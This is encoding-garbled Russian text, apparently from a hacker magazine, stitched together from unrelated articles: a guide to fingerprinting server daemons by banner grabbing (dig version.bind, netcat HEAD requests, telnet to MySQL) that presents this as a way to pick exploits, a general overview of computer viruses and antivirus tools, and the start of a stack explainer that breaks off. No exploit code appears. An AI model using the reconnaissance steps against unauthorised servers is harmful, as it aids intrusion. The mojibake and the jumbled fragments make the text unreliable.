Íåðåäêî ïî áàííåðó SSHD ìîæíî
îïðåäåëèòü è îïåðàöèîíêó. Ýòî õà-
ðàêòåðíî äëÿ FreeBSD ïðè íàëè÷èè
äåôîëòîâîãî ñåðâèñà. Òàêîå ïðèã-
ëàøåíèå èìååò âèä: SSH-1.99-
OpenSSH_2.3.0 FreeBSD localisa-
tions 20010713.

ÑÒÀÐÛÉ ÄÎÁÐÛÉ TELNETD
Èäåì äàëüøå. Åñëè òû ó÷èëñÿ â øêîëå
è çàêîí÷èë âñå òðè êëàññà, òî, íàâåð-
íîå, äîãàäàëñÿ - ñëåäóþùèì ñåðâèñîì
áóäåò Telnetd, êîòîðûé âèñèò íà 23-ì
ïîðòó. Åñëè àäìèí ïîñòàâèë íåçàôà-
åðâîëåííûé òåëíåò-äåìîí íà ñâîþ ìà-
øèíó, òî, ñêîðåé âñåãî, î çàìåíå åãî
áàííåðà îí äàæå íå äóìàë, òàê êàê ïå-
ðåäà÷à äàííûõ ÷åðåç ýòîò ñåðâèñ íå
ïîäëåæèò êðèïòîâàíèþ è ìîæåò áûòü
çàñíèôàíà óøàñòûì ëàìåðîì èç ñåã-
ìåíòà. Ïî øàïêå òåëíåò-äåìîíà åãî
âåðñèþ îïðåäåëèòü äîâîëüíî ïðîáëå-
ìàòè÷íî, à âîò òèï îïåðàöèîíêè ìîæ-
íî çàäåòåêòèòü áåç îñîáîãî òðóäà. Íà
ñàìîì äåëå, îïðåäåëåíèå îïåðàöèîí-
êè äëÿ õàêåðà ðàâíîñèëüíî îïðåäåëå-
íèþ âåðñèè äåìîíà, èáî ýêñïëîéòû
óíèâåðñàëüíû ïðàêòè÷åñêè äëÿ âñåõ
ñåìåéñòâ Telnetd ;). Ïîñëå îïðåäåëå-
íèÿ OS õàêåð èùåò ïîäõîäÿùèé ïëîéò
è óñïåøíî ïðèìåíÿåò åãî (òàêèõ ìíî-
ãî: 7350telnet äëÿ SunOS, telnetd.c äëÿ
FreeBSD, ïàðó-òðîéêó ñïëîéòîâ äëÿ
RedHat è ò.ä. è ò.ï.).

NAMED
Åñëè â òåêñòîâûõ ïðîòîêîëàõ îïðå-
äåëåíèå ñåðâèñà ñâîäèòñÿ ê ïàðå
êîìàíä, òî â ñëó÷àå áèíàðíîãî ïðî-
òîêîëà âñå íåñêîëüêî ñëîæíåå. Òîò

æå named, êîòîðûé âèñèò íà 53-ì
ïîðòó, íå ñêàæåò òåáå íè ñëîâà ïðè
ïîïûòêå ïîäöåïèòüñÿ ê íåìó. Íå-
ìóäðåíî, áèíàðíûé îáìåí äàííûìè
íå ïîäðàçóìåâàåò îáìåí òåêñòîâîé
èíôîðìàöèåé.

Íà ñàìîì äåëå ñóùåñòâóþò òóëçû,
êîòîðûå ïîìîãóò òåáå çàäåòåêòèòü
ðåëèç named'à. Ýòî äàæå íå õàöêå-
ðñêèå ïðîãè, êîòîðûå òû ìîæåøü
íàéòè ëèøü íà ñîîòâåòñòâóþùèõ
ñàéòàõ, à âïîëíå ìèðíûå òóëçåíêè.
Îäíà èç íèõ - èçâåñòíûé dig (òóëçà
äëÿ ðàáîòû ñ ns-ñåðâàêàìè). Îíà
èìååò êó÷ó ïàðàìåòðîâ, êîïàòüñÿ â
êîòîðûõ òåáå, êîíå÷íî æå, íåêîãäà.

Íàñ èíòåðåñóåò âñåãî îäíà îïöèÿ
version.bind, êîòîðàÿ ïîìîæåò òåáå
óäàëåííî îïðåäåëèòü âåðñèþ ns-
ñåðâåðà. Òàêèì îáðàçîì, ñòðî÷êà:

dig @ns.server.ru chaos txt version.bind |
grep VERSION.BIND

ïîêàæåò òåáå âåðñèþ named'à, óñ-
òàíîâëåííóþ íà ñåðâàêå
ns.server.ru. Ïîñòàâëåííàÿ çàäà÷à
âûïîëíåíà, äàëüíåéøèå äåéñòâèÿ
âçëîìùèêà íàñ íå èíòåðåñóþò.

ÐÀÄÎÑÒÈ WEB'À
Îïðåäåëåíèå âåðñèè âåá-ñåðâåðà
íèêîãäà íå áûëî ñëîæíîé çàäà÷åé.
Äëÿ ýòîãî íóæíî âñåãî-íàâñåãî
ïîñëàòü HEAD-çàïðîñ, è Àïà÷ (à èõ
ïîäàâëÿþùåå è èíòåðåñóþùåå íàñ
áîëüøèíñòâî) ñ ðàäîñòüþ ñêàæåò
íàì ñâîþ âåðñèþ. Âäîáàâîê íàì áó-
äóò èçâåñòíû âñå åãî ìîäóëè, à ñ
ïîìîùüþ ýòîé èíôû õàêåð òî÷íî
áóäåò çíàòü, êàêîé ýêñïëîéò ïîëî-
ìàåò óäàëåííûé ñåðâàíò.

Äëÿ àâòîìàòèçàöèè ïðîöåññà ëó÷øå
âñåãî èñïîëüçîâàòü òóëçó netcat îò
Astake. Òû íàâåðíÿêà óæå ñëûøàë î
íåé (à åñëè íåò, áåãîì ñëèâàé ñåé ïðî-
åêò ïî àäðåñó
http://www.atstake.com/research/too
ls/nc110.tgz). NetCat óìååò ñíèìàòü
áàííåðû ñ ñåðâèñîâ, ïîýòîìó, èíòåãðè-
ðóÿ ýòó âîçìîæíîñòü ñ ñåòåâûìè ïîòî-
êàìè, ìû ñìîæåì áåç îñîáîãî òðóäà
îïðåäåëèòü âåðñèþ âåá-ñåðâåðà.

Äëÿ äîñòèæåíèÿ öåëè ñîçäàåì
ôàéë get.txt, â êîòîðîì áóäåò íàõî-
äèòüñÿ çàïðîñ www-çàãîëîâêà
(HEAD / HTTP/1.0 è äâà ñèìâîëà ïå-
ðåâîäà ñòðîêè), è ñâÿçûâàåì åãî ñ
áèíàðíèêîì netcat êîìàíäîé

nc -vv www.server.ru 80 < ./get.txt |grep Server.

Â èòîãå ïîëó÷àåì èñ÷åðïûâàþ-
ùóþ èíôó î âåðñèè äåìîíà. Êàê
ïðàâèëî, ïîëå Server èìååò âèä:

Server: Apache/1.3.19 (Unix) mod_perl/1.24_01
mod_throttle/2.11 PHP/4.0.6
FrontPage/4.0.4.3 mod_ssl/2.8.3
OpenSSL/0.9.6b mod_gzip/1.3.19.1a.

Íåòðóäíî çàìåòèòü, ÷òî ìîäóëü
PHP óÿçâèì, è ñåðâåð ìîæåò áûòü
âçëîìàí ñ ïîìîùüþ ñîîòâåòñòâóþ-
ùåãî ýêñïëîéòà. Òåïåðü òû ïîíèìà-
åøü, êàêóþ âàæíóþ èíôó ìîæåò
äàòü õàêåðó âåðñèÿ ñåðâåðà è åãî
ìîäóëåé?

Âïðî÷åì, ìîæíî ëåãêî îáîéòèñü è
áåç netcat, çàìåíèâ åãî îáû÷íûì tel-
net'îì, íî äëÿ ïåðåáîðà öåëîãî äèà-
ïàçîíà àäðåñîâ ñ öåëüþ äîçíàíèÿ
âåðñèé httpd - netcat íåçàìåíèì.

ÂÑÅÌ ÑÏÀÑÈÁÎ,
ÂÑÅ ÑÂÎÁÎÄÍÛ!
Âîò, ñîáñòâåííî, è âñÿ èíôîðìàöèÿ
î ñïîñîáàõ ðó÷íîãî äåòåêòèðîâàíèÿ
âåðñèé äåìîíîâ. Òû ìîæåøü âîñ-
ïîëüçîâàòüñÿ ðàçëè÷íûìè ñêàíåðà-
ìè è òåì ñàìûì óçíàòü (èëè íå óç-
íàòü) óäàëåííûé ñåðâèñ. Íî ðó÷íîå
îïðåäåëåíèå çàñå÷ü ãîðàçäî ñëîæ-
íåå, ÷åì òóïîé ïåðåáîð âñåõ ïîðòîâ
ñî ñòîðîíû ñêàíåðà. Ïîýòîìó, åñëè
òû â ñîâåðøåíñòâå áóäåøü âëàäåòü
âûøåèçëîæåííûìè ìåòîäàìè, òâîÿ
áåçîïàñíîñòü áóäåò ñòîïðîöåíòíîé.
Ïîýòîìó íàáèâàé ðóêó è òðåíèðóéñÿ,
è ñîâñåì ñêîðî òû áóäåøü óçíàâàòü
ëþáîé äåìîí ïî ïåðâîìó áàííåðó ;).
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Òîò æå named,
êîòîðûé âèñèò
íà 53-ì ïîðòó,
íå ñêàæåò òåáå

íè ñëîâà ïðè
ïîïûòêå ïîäöå-

ïèòüñÿ ê íåìó

Ñòîèò âñåãî-
íàâñåãî ïîñëàòü
HEAD-çàïðîñ, è
Àïà÷ (à èõ ïî-

äàâëÿþùåå
áîëüøèíñòâî) 

ñ ðàäîñòüþ 
ñêàæåò íàì

ñâîþ âåðñèþ

Ðàçíûå áàííåðû äëÿ ðàçíûõ îñåé

Îïðåäåëÿåì âåðñèþ httpd è åãî ìîäóëåé

Íà ñàìîì äåëå, äàæå ïðè áèíàð-
íîì îáìåíå äàííûìè ìîæíî ëåã-
êî óçíàòü âåðñèþ äåìîíà. Åñëè
íàæàòü Enter ïðè îáìåíå äàííû-
ìè â MySQL, íàïðèìåð, òî ìîæíî
ëåãêî óçíàòü âåðñèþ mysqld.
Äèàëîã áóäåò âûãëÿäåòü ïðè-
ìåðíî ñëåäóþùèì îáðàçîì:

[root@shell root]# telnet
ns2.rose.ru 3306
Trying 213.221.44.104...
Connected to ns2.rose.ru.
Escape character is '^]'.

(
3.23.42f6{,c2kGa
Connection closed by foreign host.

Êàê âèäèì èç ïîñëåäíåé ñòðî÷êè,
âåðñèÿ äåìîíà sql: 3.23.42.

È ýòî äàëåêî 
íå ïðåäåë...
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Â ýòîé ñòàòüå ÿ ïîñòàðàþñü âûâàëèòü íà òåáÿ ìàêñèìóì èíôû ïî âèðÿì â âûíü. Ðàñ-
ñêàæó î ïðèíöèïàõ è àëãîðèòìàõ èõ ðàáîòû, ìåõàíèçìàõ è ïóòÿõ çàðàæåíèÿ, ðàñòîë-
êóþ íåìíîãî î ðàáîòå àíòèâèðóñîâ, îïèøó ñàìûå èíòåðåñíûå íîâèíêè âèðóñîâ, à òàêæå
íå çàáóäó ïðî ñòàðûå è ïðîâåðåííûå âèðè

ñòîðèÿ âèðóñîâ íà÷è-
íàåòñÿ ñ äàëåêîãî 1984
ãîäà, ïðàâäà, òîãäà ýòî

áûëî âñå ñêîðåå òîëüêî íà áóìàãå.
Äà è ê íàøåìó ëþáèìîìó ïðîäóêòó
ÌåëêîÑîôòà ýòî íå èìååò ïðàêòè÷åñ-
êè íèêàêîãî îòíîøåíèÿ. Ïåðåéäåì â
1995 ãîä - âðåìÿ ïîÿâëåíèÿ ÎÑè
Win95 - òîãäà òî è ñòàëè ïîÿâëÿòüñÿ
ïåðâûå âèðè îòäàëåííî íàïîìèíàþ-
ùèå íûíåøíèå. Åñëè çàäóìàòüñÿ, òî
ìîæíî ñêàçàòü, ÷òî ïðîãðàììåðû MS
ñäåëàëè î÷åíü ìíîãî äëÿ ðàñïðîñò-
ðàíåíèÿ âèðóñîâ :), íà÷èíàÿ îò ìíî-
ãî÷èñëåííûõ äûð, çàêàí÷èâàÿ íåêî-
òîðûìè ñîìíèòåëüíûìè ïðèíöèïàìè
ôóíêöèîíèðîâàíèÿ ñèñòåìû. Äà è
ïîâñåìåñòíàÿ ðàñïðîñòðàíåííîñòü
ñûãðàëà ñâîþ ðåøàþùóþ ðîëü.

ÏÐÈÍÖÈÏ ÄÅÉÑÒÂÈß
Âñå âèðè ìîæíî ðàçäåëèòü íà íåñ-
êîëüêî êàòåãîðèé ïî ïðèíöèïó èõ
äåéñòâèÿ è àëãîðèòìó ðàáîòû.

Ñàìûå ðàñïðîñòðàíåííûå ðàíåå
âèðè - ôàéëîâûå âèðóñû. Ôàéëî-
âûå âèðè èíôèöèðóþò èñïîëíÿå-
ìûå ôàéëû (.exe/.com), äðîâà (.sys)
èëè áèáëèîòåêè (.dll), âëåçàÿ â èõ
êîä. Ìåõàíèçì âíåäðåíèÿ ðàçëè÷à-
åòñÿ: âèðóñ ìîæåò âñòàâëÿòü ñâîé
êîä â íà÷àëî, ñåðåäèíó èëè êîíåö
ôàéëà, äðîáèòüñÿ íà ÷àñòè, âíåä-
ðÿòüñÿ, íå èçìåíÿÿ êîíå÷íóþ äëèíó
ôàéëà, ðàçðóøàòü èëè ñîõðàíÿòü
ôàéëó æèçíü. Ïðè çàïóñêå çàðà-
æåííîãî ôàéëà ñíà÷àëà çàïóñêàåò-
ñÿ ñàì âèðóñ, à ïîòîì óïðàâëåíèå
ïåðåäàåòñÿ èíôèöèðîâàííîé ïðîã-
ðàììå. Ïðè çàãðóçêå âèðóñà, îí ÷àñ-
òî çàïèñûâàåò ñåáÿ â îïåðàòèâíóþ
ïàìÿòü è èíôèöèðóþò âñå çàïóñêàå-
ìûå â ýòî âðåìÿ ïðèëîæåíèÿ.

Òàêæå ñóùåñòâóþò çàãðóçî÷íûå
âèðóñû. Ýòè âèðè çàãðóæàþòñÿ åùå
äî íà÷àëà çàãðóçêè îñè. Äëÿ ýòîãî
îíè ïåðåä ýòèì îáû÷íî ïðîïèñûâà-
þò ñâîé çàïóñê â BR (boot record), à
çàòåì ïðè çàãðóçêå îïåðàöèîííîé
ñèñòåìû ïåðåáèðàþòñÿ â îïåðàòèâ-
íóþ ïàìÿòü.

Ìàêðîâèðóñû ïîÿâèëèñü ñ ïîÿâëå-
íèåì ïåðâîãî MS îôèñà. Íàïèñàíû
îíè íà ÿçûêå Visual Basic (ëþáèìîì
ÿçûêå Áèëëè) for Applications. Ìàê-

ðîâèðóñû ðàñïðîñòðàíÿþòñÿ âìåñòå
ñ äîêóìåíòàìè è äëÿ çàïóñêà âèðÿ
äîñòàòî÷íî îòêðûòü äîêóìåíò.

Â ïîñëåäíåå âðåìÿ ñàìûìè ðàñï-
ðîñòðàíåííûìè âèäàìè âèðóñîâ
ñòàëè ïî÷òîâûå ÷åðâè (âèðè, ðàñï-
ðîñòðàíÿþùèåñÿ ïî ñåòè). Íàçíà÷å-
íèå ó ÷åðâåé ìîæåò áûòü ëþáûì: îò
ñáîðà èíôîðìàöèè, äî óáèéñòâà
âñåãî, ÷òî ïîïàäåòñÿ ïîä ðóêó.

Ó âèðóñîâ ñóùåñòâóþò îïðåäå-
ëåííûå àëãîðèòìû ðàáîòû. Äëÿ
çàòðóäíåíèÿ ïðÿìîãî ïîèñêà àíòè-
âèðóñàìè ñâîåãî ïðèñóòñòâèÿ, íåêî-
òîðûå âèðè øèôðóþò ñâîé êîä
êàæäûé ðàç íîâûì êëþ÷îì è íîâûì
àëãîðèòìîì øèôðîâàíèÿ ïðè çàðà-
æåíèè î÷åðåäíîé ïðîãðàììû. Ñó-
ùåñòâóþò âèðóñû, êîòîðûå ìîãóò
ïîëíîñòüþ èçìåíÿòü ñâîé êîä, òà-

êèå íàçûâàþò ïîëèìîðôíûìè.
Òàêæå ñóùåñòâóþò ðåçèäåíòíûå

(TSR) âèðóñû, êîòîðûå ñòàðàþòñÿ íå
õðàíèòü ñâîèõ ôàéëîâ íà äèñêå, à
ïîñòîÿííî íàõîäèòüñÿ â îïåðàòèâ-

íîé ïàìÿòè. Òàêîé ïîäõîä ñóùåñò-
âåííî îñëîæíÿåò ïîèñê âèðóñà. Íå-
êîòîðûå âèðè èñïîëüçóþò ðåçèäåíò-
íûé ìîäóëü, êîòîðûé ïîñòîÿííî ñëå-
äèò çà äåéñòâèÿìè ñèñòåìû è ïðè
çàãðóçêå çàðàæåííîãî ôàéëà ñòèðà-
åò çàðàæåííûé ó÷àñòîê, à ïîòîì äî-
ïèñûâàåò ñíîâà (ýòî ñòåëñ-âèðè).

ÌÅÕÀÍÈÇÌ ÐÀÑÏÐÎÑÒÐÀÍÅÍÈß
Ðàíüøå âèðè ÷àùå âñåãî ðàñïðîñò-
ðàíÿëèñü ÷åðåç èíôèöèðîâàííûå
èñïîëíÿåìûå ôàéëû (.exe, .com).
Òðåáîâàëîñü, ÷òîáû þçåð ñàì ïîä-
ïèñàë ñåáå ñìåðòíûé ïðèãîâîð, çà-
ïóñòèâ áîëüíóþ ïðîãó. Íî ýòîò ìå-
òîä ïîðîé ðóëèò è ñåãîäíÿ.

Ðàçìíîæåíèå ÷åðâåé ïî ïî÷òå ÷å-
ðåç àäðåñíóþ êíèãó çàðàæåííîãî
êîìïà ñòàëî íà ñåãîäíÿ ñòàíäàðòîì.

Èíîãäà äëÿ ðàññûëêè ïèñåì ñî ñâî-
åé êîïèåé âèðü èñïîëüçóåò
ñîáñòâåííûé SMTP-ìåõàíèçì, äåëà-
þùèé åãî íåçàâèñèìûì îò óñòàíîâ-
ëåííîãî íà êîìïå ñîôòà.
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Ñ ÇÀÐÀÇÍÎÃÎ ÔÐÎÍÒÀ

3V1L 5P1K3 (fallout@pisem.net)

È

ÂÈÐÓÑÛ Â ÂÛÍÜ

Íåäàâíî ïîÿâèëèñü íåñêîëüêî
ìîäèôèêàöèé ÷åðâåé çàðàæåííûõ

Win95.CIH'îì, ïðè÷åì çàðàæåííûõ, ñêîðåå
âñåãî, íå ñïåöèàëüíî :)

Êñòàòè, âñåãäà
ñâåæèé ðåé-
òèíã âèðóñîâ ñ
ïîäðîáíåéøè-
ìè îïèñàíèÿìè
âñåõ âèðóñîâ
òû ìîæåøü
ïðî÷èòàòü íà
ñàéòå Êàñïå-
ðñêîãî:
www.viruslist.ru
èëè Panda
Software:
http://www.vir
uslab.ru/?page
=virus.php&go
=ratingarchiv

Ïîðíîñàéòû - ãëàâíûé èñòî÷íèê òðîåâ íà ìàøèíàõ þçâåðåé.



Ðàñïðîñòðàíåíèå âèðåé ÷åðåç
çàãðóçî÷íûå ñåêòîðû äèñêåò èëè
äèñêîâ óæå äàâíî ñåáÿ èçæèëî. Ðå-
æå ñòàëè ïîÿâëÿòüñÿ ìàêðîâèðóñû.
Çàòî, âñå ÷àùå âñòðå÷àþòñÿ âèðè
êîòîðûå ïûòàþòñÿ ðàñïîëçàòüñÿ
÷åðåç íåïðèâû÷íûå äëÿ íèõ ñðåäû.
Íàïðèìåð, ICQ, P2P ñåòè, ÷àòû IRC.

×óòü ëè íå ïîëîâèíà âñåõ âèðóñíûõ
çàðàæåíèé ïðîèñõîäèò ÷åðåç äûðû â
ñîôòå. Ïàëüìà ïåðâåíñòâà â îòíîøå-
íèè êîëè÷åñòâà óÿçâèìîñòåé, áåñ-
ñïîðíî, çà ÌèêðîÑîôòîì. Ñàìûå äû-
ðÿâûå ïðîäóêòû ýòî: àóòãëþê, îñëèê IE
è âîðä. Âûõîä èç ïîëîæåíèÿ - ïåðåõî-
äèòü íà àëüòåðíàòèâíûå ïðîãè îò
ïðî÷èõ ðàçðàáîò÷èêîâ (õîòÿ íåäàâíî
ïîÿâèëîñü íåñêîëüêî âèðåé ðàçìíî-
æàþùèõñÿ ÷åðåç TheBAT ;(, äûðû
âåçäå åñòü) èëè ñêà÷èâàòü êàæäûé
äåíü íîâûå çàïëàòêè :). Òàêæå ìíîæå-
ñòâî óÿçâèìîñòåé, þçàåìûõ âèðóñà-
ìè, ëåæèò â ICQ è peer2peer êëèåíòàõ
(KaZaa, Edonkey). Íî êóäà îïàñíåå
äûðû â ñåðâåðíîì ÏÎ îò MS (âñïîì-
íèòü õîòÿ áû ýïèäåìèè ñ âèðåì
CodeRed èëè Nimda è Microsoft IIS).

ÏÐÎÒÈÂÎÑÒÎßÍÈÅ
Âîò è âå÷íîå ïðîòèâîñòîÿíèå âèðó-
ñîâ è àíòèâèðóñîâ, äîáðà è çëà
(ñìîòðÿ ñ êàêîé ñòîðîíû ïîñìîòðåòü
:). Âèðÿì ñòàíîâèòñÿ âñå ñëîæíåå è
ñëîæíåå ïðîáèòüñÿ ÷åðåç íàâîðî-
÷åííóþ îáîðîíó àíòèâèðóñà. Â äåíü
ïîÿâëÿåòñÿ ñ äåñÿòîê íîâûõ âèðó-
ñîâ, àïäåéòû ê àíòèâèðóñàì âñåìè
ñèëàìè ïûòàþòñÿ çà íèìè óñïåòü,
âûõîäÿ ïî íåñêîëüêî ðàç â äåíü. Àí-
òèâèðóñ ïðåäñòàâëÿåò ñåé÷àñ óæå
íàâîðî÷åííûé êîìïëåêñ, ñîñòîÿùèé
èç íåñêîëüêèõ ìîäóëåé: ñêàíåð - òåñ-
òèò ôàéëû íà íàëè÷èå â íèõ âèðóñîâ
èç áàçû; ýâðèñòè÷åñêèé (íó è ñëîâî
:) àíàëèçàòîð (÷àñòü ñêàíåðà) - ïûòà-
åòñÿ ýìóëèðîâàòü ðàáîòó îñè è çà-
ïóñê â íåé ïîäîçðèòåëüíîãî ôàéëà,
ïî äåéñòâèÿì ôàéëà äåëàåò âûâîä:
âèðü èëè íå âèðü, ìîíèòîð - ïîñòîÿí-
íî âèñèò â ïàìÿòè è ñëåäèò çà êàæ-
äûì íîâûì ïîÿâèâøèìñÿ ôàéëîì;
ïîâåäåí÷åñêèé áëîêèðàòîð - ñìîòðèò
çà ïðîãîé, íå äåëàåò ëè îíà çàïðå-

ùåííûõ äåéñòâèé; ðåâèçîð äèñêà -
ñîõðàíÿåò ñâåäåíèÿ î ñîñòîÿíèè
âñåõ ôàéëîâ è ïðè ïåðåçàãðóçêàõ
ñìîòðèò íå ïîìåíÿëîñü ëè ÷åãî è
èíñïåêòîð ïî÷òû. Íó êàê, îòïàëî æå-
ëàíèå ïèñàòü âèðóñû :))? Íà ñàìîì
äåëå íå âñå òàê ïëîõî. Àíòèâèðóñó
î÷åíü ñëîæíî îïðåäåëèòü ÿâëÿåòñÿ
ëè íà ñàìîì äåëå ïðîãðàììà âèðó-
ñîì, åñëè åå íåò â áàçå. Òóò ÷àñòî
áûâàþò ïðîêîëû, êîãäà áåçîáèäíóþ
ïðîãó ïðèíèìàþò çà çëîñòíûé âèðü
è íàîáîðîò. Ïëþñ, ìíîãèå þçåðû
÷àñòî âûãðóæàþò àíòèâèðóñ èç ïàìÿ-
òè, ÷òîáû íå æðàë ðåñóðñîâ, äà è îá-
íîâëåíèÿ íå âñå ðåãóëÿðíî êà÷àþò.

ÑÅÃÎÄÍß
Ñîâðåìåííûå âèðóñû ñèëüíî îòëè-
÷àþòñÿ îò ïðîøëûõ. Ôîðìàòèðî-
âàòü âèíò è îáíóëÿòü FlashBIOS ýòî
óæå íå ìîäíî :), íî âñòðå÷àþòñÿ è
èñêëþ÷åíèÿ. ×àñòåíüêî âèðè ñòàëè
ñíàáæàòü ôóíêöèÿìè òðîÿíà (îò-
ñûëêà ïàðîëåé, äîêóìåíòîâ è ïðî-
÷åé ëè÷íîé èíôû íà óêàçàííûé àä-
ðåñ) è êëàâèàòóðíîãî øïèîíà, áûâà-
åò, ÷òî ëè÷íûå ñâåäåíèÿ þçåðà
÷åðâü âûêëàäûâàåò ðàäè ïðèêîëà
äëÿ îáùåãî ïîëüçîâàíèÿ :). Áûâàåò,
÷åðâÿê, îáæèâøèñü íà âèíòå, ñëè-
âàåò èç ñåòè êàêîé-íèáóäü äðóãîé
óáîéíûé âèðóñ, íó è çàïóñêàåò åãî.

Ãðóñòíî ãîâîðèòü, íî, âñå-òàêè, óðî-
âåíü âèðóñîïèñàòåëåé â ïîñëåäíåå
âðåìÿ ðåçêî ïàäàåò. Òàêèõ âèðóñîâ
êàê Âûíü×ÈÕ óæå äàâíî íå ïèøóò.

×àñòî ïðîñòî áåðóò ôðàãìåíòû åãî
êîäà è çàïîëíÿþò èì ïðîáëåìíûå
ìåñòà. Áûëà íå òàê äàâíî çàáàâíàÿ
èñòîðèÿ ñ âèðåì AnnaKournikova, êî-
òîðûé íàïàõàë â ñåòè íåìàëî. Êàê
îêàçàëîñü, åãî àâòîðîì îêàçàëñÿ íå-
êèé ãîëëàíäñêèé ñòóäåíò ïîä íèêîì
OnTheFly, êîòîðûé è êîäèòü äàæå íå
óìåë. Ïðî ñïåöèàëüíûå ïðîæêè, êî-
òîðûå ïî÷òè ïîëíîñòüþ àâòîìàòèçè-
ðóþò ïðîöåññ ñîçäàíèÿ âèðóñà, òû,
íàâåðíîå, íå ðàç ñëûøàë. Êàê ãîâî-
ðèòñÿ, âèðóñ òåïåðü ìîæåò íàïèñàòü
êàæäàÿ äîìîõîçÿéêà :-Ð.

Ïîñìîòðèì òîï 20 âèðóñîâ çà ïîñ-
ëåäíèé ìåñÿö (íà ìîìåíò íàïèñà-
íèÿ ìàòåðèàëà). Ïåðâûå äâå ñòðî÷-
êè óæå áîëåå ãîäà ñòàáèëüíî çàíè-
ìàþò äâà ÷åðâÿ: I-Worm.Klez è I-
Worm.Lentin (çà êàæäûì îêîëî
20% âñåõ çàðàæåíèé). Îñòàëüíûå
âèðè áåðóò íà ñåáÿ ìåíüøå ïðî-
öåíòà îò âñåõ ñëó÷àåâ. Â äâàäöàòêó
òàêæå ïîïàäàþò åùå 4 ÷åðâÿêà
(Ganda, LovGate, Tanatos è Sobig), 2
ìàêðîâèðóñà (Thus è VMPS-based), 1
ñêðèïò (VBS.Redlof) è... Win95.CIH,
êîòîðûé ïîÿâèëñÿ â 1999 ãîäó, äî
ñèõ ïîð â òîïå íà 5 ìåñòå!

Ïðî Âèí×ÈÕ õî÷åòñÿ ðàññêàçàòü
îòäåëüíî. Íåäàâíî ïîÿâèëèñü íåñ-
êîëüêî ìîäèôèêàöèé ÷åðâåé çàðà-
æåííûé Win95.CIH'îì, ïðè÷åì çàðà-
æåííûõ, ñêîðåå âñåãî, íå ñïåöèàëü-
íî :). Èòîãî â ýòîé çàðàçå ñî÷åòàåòñÿ
ìîáèëüíîñòü è ëåãêîñòü â ðàñïðîñò-
ðàíåíèè ÷åðâÿ è âñÿ ìîùü è óáîé-
íîñòü ×åðíîáûëüñêîãî âèðÿ (òàê êàê
ðàáîòîñïîñîáíîñòü ïðîãè îí íå íà-
ðóøàåò, à çàïèñûâàåò ñâîé êîä â íå-
èñïîëüçóåìûå ó÷àñòêè ïðîãè). Â
ïðèíöèïå, òî æå ñàìîå ìîæåò áûòü è
ñ äðóãèìè âèðóñàìè, íå ðàçðóøàþ-
ùèìè çàðàæåííóþ ïðîãó (÷åðâÿ).

Íàäåþñü, ýòà èíôà ïîìîæåò òåáå
èçáåæàòü íåêîòîðûõ íåïðèÿòíîñ-
òåé. Êàê ãîâîðèòñÿ, è íà ñòàðóõó
áûâàåò ïðîðóõà :).
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Äîâîëüíî ìíîãî
èíôû ïî âèðÿì

ìîæíî ïî÷èòàòü
â âîïðîñàõ 

è îòâåòàõ íà
soobcha.ru/faq/

index.html?
topic=1

Òîëêîâóþ áóêó
ïî âèðÿì ("Âè-

ðóñíàÿ ýíöèêëî-
ïåäèÿ Êàñïåðñêî-
ãî") ëèñòàé â îí-

ëàéíå íà ñàéòå
http://www.virus

list.com/virus-
list.html

Àëÿðìà! Ìàêðîñû!

Âîïðîñû ïî âèðÿì.

Íîâîñòè èç ìèðà âèðóñîâ.

Ìåãà òîï çà 2002 ãîä ïî âåðñèè 

Êàñïåðñêîãî.



èòàòåëü áåðåò çåëåíîå
êîëåñî è ïðîâàëèâàåò-
ñÿ â êàíàëèçàöèþ...

×ÒÎ ÒÀÊÎÅ ÑÒÅÊ
Òåì, êòî çíàêîì ñ ïîíÿòèåì ñòåêà,
ìîæíî ïðîïóñòèòü ýòîò àáçàö.
Ïðåäñòàâü, òû ïîïàë â ìèð Âåëèêî-
ãî Äàíè. Òû ñèäèøü â øêîëüíîì
êëàññå, ó âñåõ íà ïàðòàõ ñòîÿò òå-
ëåôîíû, íî ðòû ó âñåõ çàêëååíû
ñêîò÷åì. Åñòü áóìàãà è ðó÷êè, ïåðå-
äàâàòü ëèñòèêè çàïðåùåíî, ïîòîìó
÷òî ìîæíî íåíàðîêîì îòîðâàòü ðó-
êó èëè íîãó òîâàðèùó. Åñòü ãëàâ-
íûé ïåðåö, åãî çîâóò ßäðî. Åñòü
êåäð, êîòîðûé óìååò ñêëàäûâàòü
÷èñëà. È åùå îäèí óìååò èõ óìíî-
æàòü. ßäðó ïðèñïè÷èëî ïîñ÷èòàòü
ôîðìóëó 2*3+10. Îí áåðåò òðè
ëèñòêà, ïèøåò íà ïåðâîì - 2, íà
âòîðîì - 3, íà òðåòüåì - ñâîé òåëå-
ôîí. Êëàäåò ýòî âñå íà ñòîë (ýòî è
åñòü ñòåê), çâîíèò Óìíîæèòåëþ.
Òîò áåðåò ýòè ëèñòèêè, ðâåò è êëà-
äåò ëèñòîê ñ öèôðîé 6. Ïîñëå ÷åãî
ïåðåçâàíèâàåò ßäðó. Òîò äîêëàäû-
âàåò â êó÷ó ëèñòîê ñ ÷èñëîì 10 è
îïÿòü ëèñòîê ñ òåëåôîíîì ßäðà.
Çâîíèò Ñêëàäûâàòåëþ. Òîò âûòàñ-
êèâàåò òðè ëèñòèêà, ðâåò è êëàäåò
ëèñòîê ñ ÷èñëîì 16, ïîñëå ÷åãî ïå-
ðåçâàíèâàåò ßäðó. Âñå, ßäðî äîâî-
ëåí è ñèÿåò.
Êîíå÷íî, äëÿ ïðîñòûõ àðèôìåòè-
÷åñêèõ äåéñòâèé ñóùåñòâóåò ïðî-
öåññîð, à äëÿ ñëîæíûõ - ìàòåìàòè-
÷åñêèé ñîïðîöåññîð. Ïîýòîìó äàí-
íûé ïðèìåð ñèëüíî óòðèðîâàí. Íî
ïðèíöèï äåéñòâèÿ, ÿ äóìàþ, òåáå
ÿñåí. Ñòåê åñòü òî ìåñòî â ïàìÿòè,
êóäà çàíîñÿòñÿ äàííûå äëÿ ïåðå-
äà÷è â äðóãóþ ôóíêöèþ. Âñå
ôóíêöèè èìåþò âõîäíûå è âûõîä-
íûå äàííûå. Â ÿçûêàõ âûñîêîãî
óðîâíÿ ñòåê íàïðÿìóþ íå èñïîëü-
çóåòñÿ. Íî ïðè êîìïèëÿöèè ïðîãè
áåç íåãî íå îáîéòèñü. Äëÿ ðàáîòû
ñî ñòåêîì åñòü òîëüêî äâå îñíîâ-
íûå ôóíêöèè: ïîëîæèòü è âûòà-
ùèòü. Äëÿ îáñëóæèâàíèÿ âñåé ðà-
áîòû íóæíî òîëüêî äâà ðåãèñòðà
ïðîöåññîðà. Ïåðâûé - óêàçûâàåò
